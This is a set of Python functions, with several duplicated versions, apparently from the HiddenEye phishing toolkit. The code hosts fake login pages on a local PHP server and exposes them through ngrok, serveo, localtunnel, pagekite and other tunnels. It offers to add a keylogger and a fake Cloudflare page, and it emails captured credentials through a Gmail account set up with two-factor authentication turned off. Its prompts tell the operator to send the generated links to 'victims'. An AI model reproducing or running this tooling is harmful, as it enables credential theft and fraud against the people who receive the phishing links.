def set_php(host="127.0.0.1", port=80): run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL) run_background_command( ["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL, stderr=DEVNULL, )
def feature_prompt(): run_command("clear") print(global_localization.small_logo) print(feature_localization.feature_prompt["feature_alert"]) print(feature_localization.feature_prompt["keylogger"]) print(feature_localization.feature_prompt["cloudfare"]) print(feature_localization.feature_prompt["email"]) print(feature_localization.feature_prompt["none"]) print(feature_localization.feature_prompt["example"]) option = input(global_localization.input_line).lower() letters = ["a", "b", "c"] for x in option: if x in letters: if "a" in x: keylogger.add_keylogger() elif "b" in x: cloudflare.add_cloudfare() elif "c" in x: email_prompt.captured_data_email_configuration_prompt() else: print(global_localization.invalid_option) sleep(3) feature_prompt()
def captured_data_email_prompt(): run_command("clear") print("""{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0], default_palette[2])) print( "-------------------------------\n{0}[ PROMPT: NEED CAPTURED DATA TO EMAIL ? ]{1}!! {0}\n-------------------------------" .format(default_palette[0], default_palette[4])) print("\n{0}[{1}!{0}]{1}No Need To Configure, If you have Already Done. ". format(default_palette[0], default_palette[4])) print( "\n{0}[{1}*{0}]{0}DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE -{1}(Y/N)" .format(default_palette[0], default_palette[4])) choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format( default_palette[0], default_palette[4], default_palette[2])).upper() if choice == "Y": print( "\n{0}[{1}!{0}] BEFORE STARTING MAKE SURE THESE THINGS: \n\n{0}[{1}+{0}] {1}YOU HAVE CORRECT GMAIL USERNAME & PASSWORD\n{0}[{1}+{0}] {1}YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT\n{0}[{1}+{0}] {1}YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n\n" .format(default_palette[0], default_palette[4])) input("[.] Press Enter To Start Configuring Gmail Credential File...") captured_data_email_configuration_prompt() elif choice == "N": pass else: print("[^] ERROR: Please choose correct option to continue...") wait(1) captured_data_email_prompt()
def start_localhost(port): run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_localhost["localhost_server"]) host = "127.0.0.1" print(localization.lang_start_localhost["your_localhost_is"] + host) set_port(port) set_php(host, port) print(localization.lang_start_localhost["starting_server_on_addr"] + "{0}:{1}".format(host, port)) run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_localhost["running_localhost_server"]) print(localization.lang_start_localhost["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "{0}:{1}\n".format(host, port))
def start_ngrok(port): ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml") pid = check_process("ngrok") for p in pid: kill(p, signal.SIGKILL) # continue run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_ngrok["ngrok_server"]) ngrok.connect(port=int(port))#TODO done while True: wait(2) ngrok_tunnels = ngrok.get_tunnels() url = ngrok_tunnels[0].public_url if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None: print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port) print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) break
def enter_custom_redirecting_url( ): # Question where user can input custom web-link run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_header"]) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]) custom = input( localization.lang_enter_custom_redirecting_url["redirect_here"]) if "http://" in custom or "https://" in custom: pass else: custom = "http://" + custom # For Location (gdrive) Template Redirection. if path.exists("Server/www/js/location.js"): with open("Server/www/js/location.js") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/js/location.js", "w") f.write(c) f.close() if path.exists("Server/www/post.php") and path.exists( "Server/www/login.php"): with open("Server/www/login.php") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/login.php", "w") f.write(c) f.close() with open("Server/www/post.php") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/post.php", "w") f.write(c) f.close() else: try: with open("Server/www/login.php") as f: read_data = f.read() c = read_data.replace("<CUSTOM>", custom) f = open("Server/www/login.php", "w") f.write(c) f.close() except FileNotFoundError: run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print( "[^] ERROR: Please make sure your folder contains a valid login.php file." ) exit()
def verify_connection(host='https://google.com'): # Bypass problem run_command('clear') try: req = requests.get(host, timeout=25) if req.status_code == 200: print(localization.lang_verify_connection["connected"]) pass except: print(localization.lang_verify_connection["disconnected"]) print(global_localization.hidden_eye_logo) print(localization.lang_verify_connection["verify_your_connection"]) exit()
def custom(port): print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_custom_server"]) print(localization. lang_start_serveo["make_url_simmilar_to_real_suggestion"]) print(localization.lang_start_serveo["insert_custom_subdomain"]) lnk = input(global_localization.input_line) run_background_command( [ "ssh", "-o", "StrictHostKeyChecking=no", "-o", "ServerAliveInterval=60", "-o", "ServerAliveCountMax=60", "-R", "{0}:80:localhost:{1}".format(lnk, port), "serveo.net", ">", "link.url", ], stdout=DEVNULL, stderr=DEVNULL, ) lnk += ".serveousercontent.com" wait(7) try: run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port) print(localization.lang_start_serveo["serveo_url"] + lnk + default_palette[4]) print("\n") except CalledProcessError: print(localization.lang_start_serveo["failed_to_get_domain"]) print(localization.lang_start_serveo["suggestion_to_fix_issue"]) print(localization. lang_start_serveo["you_can_try_to_select_other_domain"]) wait(4) run_command("clear") return custom(port)
def captured_data_email_configuration_prompt(): run_command("clear") print("""{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0], default_palette[2])) print( "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------" .format(default_palette[0], default_palette[4])) # run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py') copyfile( "Defs/FeatureManager/EmailManager/EmailConfigDefault.py", "Defs/FeatureManager/EmailManager/emailconfig.py", ) GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format( default_palette[0], default_palette[4])) with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f: read_data = f.read() c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT) f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w") f.write(c) f.close() print("{0}[.] {1}Email Address Added To config File. !\n".format( default_palette[0], default_palette[4])) GMAILPASSWORD = getpass.getpass( "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format( default_palette[0], default_palette[4])) with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f: read_data = f.read() GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) GMAILPASSWORD = GMAILPASSWORD.decode("utf-8") c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD) f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w") f.write(c) f.close() print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format( default_palette[0], default_palette[4])) RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format( default_palette[0], default_palette[4])) with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f: read_data = f.read() c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL) f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w") f.write(c) f.close() print("{0}[.] {1}Recipient Email Address Added To config File. !\n". format(default_palette[0], default_palette[4])) print( "\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)" .format(default_palette[0], default_palette[4]))
def start_pagekite(port): from Defs.ActionManager.simple_informant import credentials_collector run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) if 256 == run_command("which python2 > /dev/null"): print("[*] Python2 not Installed, Pagekite Only Supports Python2!!") input("\n Press Enter To Try installing Python2 Now..") run_command("apt install python2") if 256 == run_command("which python2 > /dev/null"): run_command("clear") print( "\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}" .format(default_palette[0], default_palette[4])) wait(2) server_selection(port) else: pass else: try: subdomain = input( "\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}" .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}" .format(default_palette[0], default_palette[4])) print( "{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}" .format(default_palette[0], default_palette[4])) input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}". format(default_palette[0], default_palette[4])) run_command( "python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me" .format(port, subdomain)) except KeyboardInterrupt: print("[!] Please Copy the Generated Link For Further Use") credentials_collector(port)
def verify_connection(host='https://google.com'): # Connection check run_command('clear') try: #req = requests.get(host, timeout=25) #if req.status_code == 200: if 1 == 1: print(localization.lang_verify_connection["connected_with_AK"]) pass except: print(localization.lang_verify_connection["disconnected_from_AK"]) print(global_localization.hidden_eye_logo) print(localization.lang_verify_connection["verify_your_connection"]) exit()
def start_ngrok(port): ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml" # ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input # later pid = check_process("ngrok") for p in pid: kill(p, signal.SIGKILL) # continue run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ''') print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_ngrok["ngrok_server"]) # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) # chmod('Server', 0o777) # run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, # stderr=DEVNULL) ngrok.connect(port=int(port)) # currentDirectory = os.getcwd() #DELETE # print(currentDirectory) #DELETE while True: wait(2) # urlFile = open('link.url', 'w') # run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced # urlFile = open('link.url', 'r') # url = urlFile.read() ngrok_tunnels = ngrok.get_tunnels() url = ngrok_tunnels[0].public_url # urlFile.close() if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None: # print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} NGROK URL: {2}".format( # default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) break
def enter_custom_redirecting_url( ): # Question where user can input custom web-link run_command('clear') print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_header"]) print(localization. lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]) custom = input( localization.lang_enter_custom_redirecting_url["redirect_here"]) if 'http://' in custom or 'https://' in custom: pass else: custom = 'http://' + custom if path.exists('Server/www/js/location.js' ): # For Location (gdrive) Template Redirection. with open('Server/www/js/location.js') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/js/location.js', 'w') f.write(c) f.close() if path.exists('Server/www/post.php') and path.exists( 'Server/www/login.php'): with open('Server/www/login.php') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/login.php', 'w') f.write(c) f.close() with open('Server/www/post.php') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/post.php', 'w') f.write(c) f.close() else: with open('Server/www/login.php') as f: read_data = f.read() c = read_data.replace('<CUSTOM>', custom) f = open('Server/www/login.php', 'w') f.write(c) f.close()
def add_cloudflare_prompt(): run_command('clear') print('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) print("-------------------------------\n{0}[ CLOUDFARE PROTECTION PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A CLOUDFARE PROTECTION FAKE PAGE -{1}(Y/N)".format(default_palette[0], default_palette[4])) choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])).upper() if choice == 'Y': add_cloudfare() else: wait(1)
def add_keylogger_prompt(): run_command('clear') print('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) print("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) print("\n{0}[{1}!{0}]{1}ATTENTION: Adding Keylogger Mostly Kills the Tunnel Connection.\n".format(default_palette[0], default_palette[4])) print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE-{1}(Y/N)".format(default_palette[0], default_palette[4])) choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == 'Y': add_keylogger() else: wait(1)
def manage_url(port): run_command('rm output.txt > /dev/null 2>&1') run_command('openport -K && openport %s > output.txt &' % (port)) print( '{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.' .format(default_palette[0], default_palette[4])) wait( 20 ) # Sleep time is important as the openport command takes some time to give response link. run_command( 'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt' ) # Taking out the neccesary verification link from output txt file of openport (above). print( '{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...' .format(default_palette[0], default_palette[4])) with open('openport.txt') as f: read_data = f.read() if 'openport.io/l/' in read_data: print('{0}[{1}*{0}] {1}Got Activation Link...'.format( default_palette[0], default_palette[4])) else: print( '{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... ' .format(default_palette[0], default_palette[4])) output = open('output.txt', 'r') output = output.read() print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format( default_palette[0], default_palette[4], output)) input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'. format(default_palette[0], default_palette[4])) server_menu.server_selection(port) urlFile = open('openport.txt', 'r') urltoverify = urlFile.read().strip() print( '{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n' .format(default_palette[0], default_palette[4])) print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format( default_palette[0], default_palette[4], urltoverify)) url = input( '\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '. format(default_palette[0], default_palette[4])) wait(4) run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------''' .format(default_palette[0], default_palette[4])) print( "\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n" .format(default_palette[0], default_palette[4], default_palette[3], port, url))
def start_localhost(port): run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # '') print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_localhost["localhost_server"]) host = "127.0.0.1" print(localization.lang_start_localhost["your_localhost_is"] + host) set_port() # run_command("cd Server/www/ # && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port)) enter_server_www set_php(host, port) print(localization.lang_start_localhost["starting_server_on_addr"] + "{0}:{1}".format(host, port)) # wait(2) run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ''') print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_localhost["running_localhost_server"]) # print("- # ".format(default_palette[0], default_palette[2], default_palette[3], port, host)) print(localization.lang_start_localhost["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '{0}:{1}\n'.format(host, port))
def exit_message(port=80): # Message when HiddenEye exit choice = input(localization.lang_exit_message["choice"]) choice.lower() if choice == 'r': run_command(['sudo', 'python3', 'HiddenEye.py']) elif choice == 'm': email_prompt.captured_data_email_confirmation(port) elif choice == 's': server_runner.server_selection(port) elif choice == 'x': run_command('clear') print(global_localization.hidden_eye_logo) print(' ' + global_localization.by_darksec) print(' ' + global_localization.official_website_link) print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["tell_if_page_got_broken"]) print( localization.lang_exit_message["make_your_pull_request_or_issue"]) print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["thank_you"]) else: run_command('clear') return exit_message(port)
def start_localtunnel(port, npm): run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) print("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}". format(default_palette[0], default_palette[2])) print( "\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL" .format(default_palette[0], default_palette[2])) s = input("\n{0}(Localtunnel/Subdomain)> {1}".format( default_palette[0], default_palette[2])) try: run_command("{0}lt -p ".format("" if npm else "Server/") + port + ((" -s " + s) if s != "" else s) + " > link.url &") wait(3) run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}" .format( default_palette[0], default_palette[2], default_palette[3], port, str( check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r"), )) except CalledProcessError: run_command("clear") print(""" {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------""" .format(default_palette[0], default_palette[2])) print("{0}error[invalid/preoccupied]{0}".format(default_palette[0])) start_localtunnel(port, npm)
def exit_message(port=80): # Message when HiddenEye exit """Displays preconfigured message when HiddenEye execution ends or user tries to leave app. Args: port (int, optional): Will be used as port value if custom one isn't provided. Needed in case user decides to restart app again. Defaults to 80. Returns: method: If no option is selected, exit message returns to self and gets shown again. """ choice = input(localization.lang_exit_message["choice"]) choice.lower() if choice == "r": run_command(["sudo", "python3", "HiddenEye.py"]) elif choice == "m": email_prompt.captured_data_email_confirmation(port) elif choice == "s": server_runner.server_selection(port) elif choice == "x": run_command("clear") print(global_localization.hidden_eye_logo) print(" " + global_localization.by_darksec) print(" " + global_localization.official_website_link) print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["tell_if_page_got_broken"]) print( localization.lang_exit_message["make_your_pull_request_or_issue"]) print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["thank_you"]) else: run_command("clear") return exit_message(port)
def start_ngrok(port): ngrok.DEFAULT_CONFIG_PATH = path.join(".config/ngrok.yml") run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ''') simple_informant.global_message() print(localization.lang_start_ngrok["ngrok_server"]) # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) ##chmod('Server', 0o777) ##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL) ngrok.connect(port) # currentDirectory = os.getcwd() #DELETE # print(currentDirectory) #DELETE while True: wait(2) # urlFile = open('link.url', 'w') # run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced # urlFile = open('link.url', 'r') # url = urlFile.read() ngrok_tunnels = ngrok.get_tunnels() url = ngrok_tunnels[0].public_url # urlFile.close() if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None: # print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} NGROK URL: {2}".format( # default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) break
def random(port): run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------''' .format(default_palette[1], default_palette[2])) # run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port)) run_command([ 'Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url' ], stdout=DEVNULL, stderr=DEVNULL) wait(8) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode('utf-8') print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}" .format(default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: wait(4) run_command('clear') return random(port)
def random(port): run_command('clear') # print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # # ''') simple_informant.global_message() print(localization.lang_start_serveo["serveo_random_server"]) # run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port)) run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', 'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) wait(8) try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") # print("-\n # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4])) # print("\n") print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) except CalledProcessError: wait(4) run_command('clear') return random(port)
def port_selector(): # Requests port input from user """Asks user to input number between 1 and 65535. Returns: string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again. """ run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_port_selector["website_port_selection"]) print(localization.lang_port_selector["select_any_available_port"]) print(localization.lang_port_selector["port_suggestion"]) choice = input(global_localization.input_line) try: if int(choice) > 65535 or int(choice) < 1: return port_selector() else: return choice except: return port_selector()
def port_selector(): # Question where user must select port run_command('clear') #print(''' # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # {0}http://github.com/darksecdevelopers # {0}** BY:DARKSEC ** \n\n------------------------------- # ) print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_port_selector["website_port_selection"]) print(localization.lang_port_selector["select_any_available_port"]) print(localization.lang_port_selector["port_suggestion"]) choice = input(global_localization.input_line) try: if int(choice) > 65535 or int(choice) < 1: return selectPort() else: return choice except: return port_selector()
